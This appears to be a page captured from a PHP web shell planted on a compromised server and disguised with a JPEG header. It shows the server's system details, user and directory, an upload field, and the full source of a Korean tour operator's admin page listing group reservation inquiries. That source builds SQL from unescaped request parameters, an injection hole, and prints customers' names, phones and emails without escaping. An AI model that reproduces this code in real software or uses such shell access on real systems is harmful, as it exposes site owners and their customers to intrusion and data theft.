ÿØÿà JFIF ` ` ÿþ
Server : Apache System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : tkt_travelbus ( 1137) PHP Version : 7.0.0p1 Disable Function : mysql_pconnect Directory : /tkt_travelbus/www/toadmin/board/ |
Upload File : |
<? include "../include/top.html"; include "_common.php"; //테이블명 $table = "TB_RES_GROUP_INQUIRY"; // 검색 설정 $sql_where = " "; if($select_key and $input_key) $sql_where .= " and {$select_key} like '%{$input_key}%' ";// 검색 // 판매점 검색 // 리스트 수 가져옴 $sql = "select count(*) as total from {$table}"; $row = db_fetch($sql); $total = $row[total]; // 페이지수 설정 if (!$page) $page = 1; // 페이지 번호 $line = 30; // 보여줄 갯수 $list = 10; // 블럭 갯수 $total_page = ceil($total / $line); // 총페이지 if ($total == 0) $total_page = 1; // 데이터가 하나도 없으면 총페이지 1 if ($page > $total_page) $page = $total_page; // 페이지가 전체 페이지보다 크면 페이지 번호를 바꿈 $total_list = intval($total_page / $list); if ($total_page % $list == 0) $total_list--; $curr_list = intval($page / $list); if ($page % $list == 0) $curr_list--; $start_page = $curr_list * $list + 1; $prev_list = $start_page - $list; $next_list = $start_page + $list; $olds = $line * ($page - 1); // 정렬 설정 $sql_order=" order by seq desc"; //배열에 저장 $sql = "select * from {$table} where 1 {$sql_where} {$sql_order}"; $sql .= " limit $olds , $line"; //echo $sql; $rs = db_query($sql); $data = db_fetch_all($rs); //p($data); //exit; // 파라메터 $href = "select_key={$select_key}&input_key={$input_key}"; $_href = $href."page={$page}"; ?> <style> .isConfirmBtn{width:33px;color:#fff;margin:0 auto;border-radius:3px;padding:8px 10px} .confirmBtn{background:#71D758} .cancelBtn{background:#F52660} </style> <div class="contents_wrap"> <div class="contents_wrap_in"> <div class="title">단체예약<span class="arrow">></span><strong>단체예약문의</strong></div> <div class="contents_detail"> <div id="Content_box"> <div class="top_txt_s"> <div class="bar_wrap"> <p class="search_result_txt member"><span><?= $total ?></span><span class="txt">개의 게시물이 있습니다.</span></p> </div> </div> <form name="board_List" id="board_List" method="POST"> <input type="hidden" name="SqlType" id="SqlType" value=""/> <input type="hidden" name="BD_CD" id="BD_CD" value="<?= $BD_CD ?>"/> <table width="100%" border="0" cellspacing="0" cellpadding="0" id="board_list_tbl" class="t_list" summary="게시물을 확인하실 수 있습니다."> <caption>게시물 확인</caption> <colgroup> <col width="40px"/> <col width="80px"/> <col width="80px"/> <col width="60px"/> <col width="80px"/> <col width="80px"/> <col width="100px"/> <col width="100px"/> <col width="60px"/> <col width="60px"/> <col width="60px"/> </colgroup> <thead> <tr> <th scope="col">No.</th> <th scope="col">이름</th> <th scope="col">연락처</th> <th scope="col">예상행사인원</th> <th scope="col">예상출발일</th> <th scope="col">예정방문지</th> <th scope="col">이메일</th> <th scope="col">등록일</th> <th scope="col">요청세부내용</th> <th scope="col">요청확인</th> <th scope="col">-</th> </tr> </thead> <tbody> <?php if(count($data) == 0){ echo "<tr><td colspan='10'>단체문의가 없습니다.</td></tr>"; } for ($i = 0; $i < count($data); $i++) { $row = $data[$i]; $num = $total - ($page - 1) * $line - $i; ?> <tr> <td><?= $num ?></td> <td><?= $row['name'] ?></td> <td><?= $row['phoneNumber'] ?></td> <td><?= $row['memberCnt'] ?></td> <td><?= $row['startDate'] ?></td> <td><?= $row['visitPlace'] ?></td> <td><?= $row['email'] ?></td> <td><?= $row['ins_dt'] ?></td> <td> <img src="../image/board/btn_preview.gif" alt="미리보기" onclick="to_dialog.iframe('groupReservation_preview.html?seq=<?=$row['seq']?>','요청세부내용','800','780',true,true,'yes');" style="cursor:pointer;"> </td> <td> <?php if($row['isConfirm'] == 'Y'){ ?> <span id="isConfirmBtn-<?=$row['seq']?>" class="isConfirmBtn cancelBtn" seq="<?=$row['seq']?>">확인취소</span> <?php }else{ ?> <span id="isConfirmBtn-<?=$row['seq']?>" class="isConfirmBtn confirmBtn" seq="<?=$row['seq']?>">확인</span> <?php } ?> </td> <td> <input type="button" class="Table_btn gray" value="수정" onclick="to_dialog.iframe('groupReservation_preview.html?seq=<?=$row['seq']?>&mode=modify','게시물 수정','800','650',true,true,'yes');"/> <input type="button" class="Table_btn red" value="삭제" onclick="if(!confirm('삭제하시겠습니까?'))return;document.location.href='groupReservation_proc.html?SqlType=delete&seq=<?=$row['seq']?>';"/> </td> </tr> <? } ?> </tbody> </table> </form> </div> <div class="c_paging"> <?= adm_get_paging($total_page, $page, $list, "?$href&page=", "") ?> </div> </div> </div> </div> <script> $(window).load(function() { $(document).on('click', '.confirmBtn', function(){ seq = $(this).attr('seq'); setConfirm(seq, 'Y'); }); $(document).on('click', '.cancelBtn', function(){ seq = $(this).attr('seq'); setConfirm(seq, 'N'); }); }); function setConfirm(seq, val){ console.log('val is ' + val); $.ajax({ type: "post", url: "/toadmin/ajaxData/", dataType: 'json', data: {'mode': 'setGroup', seq, val}, async: false, success: function (data) { console.log('data is ' + JSON.stringify(data)); if (data.result == true) { iziToast.show({ timeout:1000, color: 'green', title: '단체 문의', message: "확인 상태 적용 완료되었습니다.", }); $('#isConfirmBtn-'+seq).removeClass('cancelBtn'); $('#isConfirmBtn-'+seq).removeClass('confirmBtn'); if(val == 'Y'){ $('#isConfirmBtn-'+seq).addClass('cancelBtn'); $('#isConfirmBtn-'+seq).text('확인취소'); }else{ $('#isConfirmBtn-'+seq).addClass('confirmBtn'); $('#isConfirmBtn-'+seq).text('확인'); } } else { iziToast.show({ timeout:5000, color: 'red', title: '단체 문의', message: "확인 적용 실패 개발자에게 문의하세요.", }); } }, error: function (a, b, c) { console.log('500 error'); } }); } </script> <? include "../include/footer.html" ?>